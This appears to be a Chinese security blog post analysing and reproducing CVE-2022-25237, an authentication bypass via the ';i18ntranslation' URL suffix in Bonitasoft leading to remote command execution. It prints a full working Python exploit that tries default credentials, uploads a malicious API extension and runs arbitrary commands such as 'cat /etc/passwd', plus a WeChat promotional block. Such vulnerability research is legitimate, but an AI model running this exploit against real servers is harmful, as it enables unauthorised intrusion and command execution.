Bonitasoft认证绕过和RCE漏洞分析及复现（CVE-2022-25237）
一、漏洞原理漏洞简述
Bonitasoft 是一个业务自动化平台，可以更轻松地在业务流程中构建、部署和管理自动化应用程序；
Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。
Bonita Web 2021.2版本受到认证绕过影响，因为其API认证过滤器的过滤模式过于宽泛。
通过添加恶意构造的字符串到API URL，普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器，从而造成RCE攻击。
漏洞影响范围
供应商：Bonitasoft
产品：Bonita Platform
确认受影响版本：< 2022.1-u0
修复版本：/
社区版：< 2022.1-u0 (7.14.0)
订购版：< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7
漏洞分析
本漏洞的漏洞点来自系统中web.xml文件，该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例，XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。
按照经验来说，这里会是认证绕过易产生之处。确切地说，web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns，值为i18ntranslation。之后将参数传递给2个不同过滤器类：RestAPIAuthorizationFilter, TokenValidatorFilter。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538196.png
同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter，存在同一父类AbstractAuthorizationFilter。
分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理，其中doFilter方法我们展开说明。
路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。
通过sessionIsNotNeeded方法进行检查，如果返回结果为真，则继续代码流程。
（checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查，可能用于同源策略检查，不详细叙述）
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538198.png
下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式，会绕过认证过滤器，从而成功访问资源。
开始定义状态值isMatched，默认值为false。开始进行空值检查，对excludePatterns进行分隔处理。
循环进行检查，如果requestURL包含excludePatterns，则状态值isMatched变为true。跳出循环。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538199.png
在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation，则会允许认证绕过。
根据代码特征测试，“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）
另外，远程命令执行（RCE）该漏洞主要是以上传恶意文件作为方式，上传接口同样定义在web.xml，为/API/pageUpload。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538200.png
getPagePermissions方法在文件处理过程需要session，该session就是从apiSession获取。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538201.png
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538202.png
根据代码，若未登录状况，apisession无法赋值，该方法会抛出异常。
从攻击角度，我们需要通过非特权下普通用户进行会话，使得apisession正常赋值，进一步实现远程命令执行。
二、漏洞复现实战
环境搭建
[*]docker镜像：
bonita - Official Image | Docker Hub
[*]vulfocus：
bonita镜像
漏洞复现
首先以超级管理员身份进入bonita，创建用户功能
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538203.png
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538204.png
创建普通用户
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538205.png
之后根据POC进行复现
POC：
import requests
import sys
class exploit:
try:
session = requests.session()
bonita_user = sys.argv
bonita_password = sys.argv
target_path = sys.argv
cmd = sys.argv
tempPath = ""
extension_id = ""
bonita_default_user = "install"
bonita_default_password = "install"
platform_default_user = "platformAdmin"
platform_default_password = "platform"
except:
print(f"Usage: python3 {sys.argv} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")
exit()
def try_default_logins():
req_url = f"{exploit.target_path}/loginservice"
req_cookies = {"x": "x"}
req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}
r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
if r.status_code == 401:
return False
# This does not seem to work when authenticating as platformAdmin, maybe it can though.
# req_url = f"{exploit.target_path}/platformloginservice"
# req_cookies = {"x": "x"}
# req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
# req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}
# r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
# if r.status_code == 200:
# print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")
# return True
else:
print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")
return True
def login():
req_url = f"{exploit.target_path}/loginservice"
req_cookies = {"x": "x"}
req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}
r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
if r.status_code == 401:
print("[!] Could not get a valid session using those credentials.")
exit()
else:
print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}")
def upload_api_extension():
req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"
files=[
("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))
]
r = exploit.session.post(req_url, files=files)
exploit.tempPath = r.json()["tempPath"]
def activate_api_extension():
req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"
req_headers = {"Content-Type": "application/json;charset=UTF-8"}
req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}
r = exploit.session.post(req_url, headers=req_headers, json=req_json)
exploit.extension_id = r.json()["id"]
def delete_api_extension():
req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"
exploit.session.delete(req_url)
def run_cmd():
req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"
r = exploit.session.get(req_url)
print(r.json()["out"])
if not try_default_logins():
print("[!] Did not find default creds, trying supplied credentials.")
login()
upload_api_extension()
activate_api_extension()
try:
run_cmd()
except:
delete_api_extension()
delete_api_extension()
执行POC
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538206.png
漏洞修复
建议更新至2022.1-u0以上版本
结束语
本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程，漏洞主要利用构造恶意字段添加至API URL，绕过过滤器进行访问资源，从而造成认证绕过，进一步可远程命令执行。
根据漏洞原理可以参照的是，在安全控制方面，左移安全中安全开发过程及时开展代码审计等测试工作，避免上述漏洞涉及的问题。
更多靶场实验练习、网安学习资料，请点击这里>>
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
页:
[1]